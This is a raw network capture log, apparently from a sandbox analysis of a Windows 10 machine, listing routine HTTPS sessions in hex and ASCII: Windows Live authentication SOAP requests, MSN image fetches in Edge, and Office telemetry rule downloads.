2024-11-23 00:14:48 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-23 00:14:48 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-23 00:14:49 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 23 Nov 2024 00:13:48 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BL2 x-ms-request-id: a0404c46-fcd1-462a-8c29-be42f4c164c1 PPServer: PPV: 30 H: BL02EPF0001D92C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 23 Nov 2024 00:14:48 GMT Connection: close Content-Length: 1918
2024-11-23 00:14:49 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	49920	23.200.3.13	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:49 UTC	505	OUT	GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 00:14:49 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 15 Nov 2024 05:16:37 GMT X-Source-Length: 62552 X-Datacenter: eastus X-ActivityId: b6de683a-38cf-4a4e-bd01-aa1a6ca52471 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=147702 Expires: Sun, 24 Nov 2024 17:16:31 GMT Date: Sat, 23 Nov 2024 00:14:49 GMT Connection: close
2024-11-23 00:14:49 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49921	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:50 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:50 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:50 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 7a39f588-d01e-0014-712e-3ded58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001450Z-178bfbc474btrnf9hC1NYCb80g00000003xg0000000045mw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 00:14:50 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49922	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:50 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:51 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 23cbbb45-601e-0084-4e3d-3c6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001451Z-178bfbc474bvjk8shC1NYC83ns00000003f000000000n3kc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:51 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:50 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:51 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 9a395038-201e-0071-807e-3bff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001451Z-174c587ffdfmlsmvhC1TEBvyks000000028000000000hz6f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:51 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:50 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:51 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:51 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 9d7b10d0-e01e-0099-63bc-3bda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001451Z-15b8b599d885ffrhhC1TEBtuv000000002a0000000002pfu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 00:14:51 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:50 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:51 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: fafd7d00-e01e-00aa-3a63-3bceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001451Z-178bfbc474bpscmfhC1NYCfc2c00000002a00000000086gw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:51 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	49926	40.126.53.13	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:51 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-23 00:14:51 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-23 00:14:52 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 23 Nov 2024 00:13:51 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C561_SN1 x-ms-request-id: f9407554-bfc6-48b7-a2d0-18cc7d632807 PPServer: PPV: 30 H: SN1PEPF0002FAAC V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 23 Nov 2024 00:14:51 GMT Connection: close Content-Length: 11409
2024-11-23 00:14:52 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	49927	23.200.3.13	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:51 UTC	505	OUT	GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 00:14:52 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Tue, 29 Oct 2024 19:03:22 GMT X-Source-Length: 95457 X-Datacenter: westus X-ActivityId: 155cd87c-435f-4d80-bfaf-3f0e9ec39163 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=284012 Expires: Tue, 26 Nov 2024 07:08:23 GMT Date: Sat, 23 Nov 2024 00:14:51 GMT Connection: close
2024-11-23 00:14:52 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	49928	40.126.53.13	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:52 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-23 00:14:52 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
